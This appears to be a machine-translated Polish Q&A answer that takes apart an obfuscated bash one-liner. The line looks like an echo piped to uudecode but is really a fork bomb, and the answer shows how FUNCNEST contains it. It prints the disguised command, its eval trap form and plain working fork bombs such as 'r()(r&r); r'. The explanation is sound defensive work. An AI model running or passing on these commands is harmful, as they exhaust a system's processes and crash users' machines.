Najpierw spójrzmy na całe polecenie:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Zawiera ciąg cudzysłowu, do którego echo uudecode. Zauważ jednak, że w ciągu podwójnego cudzysłowu znajduje się ciąg cudzysłowu . Ten ciąg zostanie wykonany . Ciąg jest:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Jeśli spojrzymy na zawartość, zobaczymy trzy polecenia:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Wykonując rozwinięcie nawiasu środkowego polecenia, mamy:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Pierwszy wiersz próbuje uruchomić komendę nonsensowną w tle. To nie jest ważne.
Drugi wiersz jest ważny: definiuje funkcję, rktóra po uruchomieniu uruchamia dwie kopie siebie. Każda z tych kopii oczywiście uruchomiłaby jeszcze dwie kopie. I tak dalej.
Trzecia linia biegnie r, rozpoczynając bombę widelca.
Reszta kodu, poza ciągiem cytowanym z tyłu, jest po prostu bzdurą dla zaciemnienia.
Jak bezpiecznie uruchomić polecenie
Kod ten można uruchomić bezpiecznie, jeśli ustawimy limit poziomu zagnieżdżenia funkcji. Można to zrobić za pomocą FUNCNESTzmiennej bash . Tutaj ustawiamy to na, 2a to zatrzymuje rekurencję:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Komunikaty o błędach powyżej pokazują, że (a) polecenia nonsensowne rYWdli Y29jnie zostaną znalezione, (b) widelec bomba dostaje wielokrotnie przerywane przez FUNCNEST, oraz (c) wyjścia echonie uruchamia się begin, a tym samym nie jest ważny wejście do uudecode.
Widelec bomba w najprostszej formie
Jak wyglądałaby bomba widelcowa, gdybyśmy usunęli zaciemnienie? Jak sugerują njzk2 i gerrit, wyglądałoby to tak:
echo "`r()(r&r);r`"
Możemy to jeszcze bardziej uprościć:
r()(r&r); r
Składa się z dwóch instrukcji: jedna określa funkcję wideł-bomby, ra druga przebiega r.
Cały pozostały kod, łącznie z potokiem do uudecode, służył jedynie zaciemnieniu i błędnemu przekierowaniu.
Oryginalna forma miała jeszcze jedną warstwę błędnego ukierunkowania
PO dostarczył link do dyskusji na forum kanału, na której pojawił się ten kod. Jak tam przedstawiono, kod wyglądał następująco:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Zwróć uwagę na jeden z pierwszych komentarzy na temat tego kodu:
Zakochałem się w tym. Skopiowałem tylko część, która odbija się echem i dekoduje, ale wciąż została rozbita na widelec
W formie na tablicy kanałów naiwnie można by pomyśleć, że problemem byłoby evalstwierdzenie działające na wyjściu uudecode. Doprowadziłoby to do wniosku, że usunięcie evalgo rozwiązałoby problem. Jak widzieliśmy powyżej, jest to fałszywe i niebezpieczne.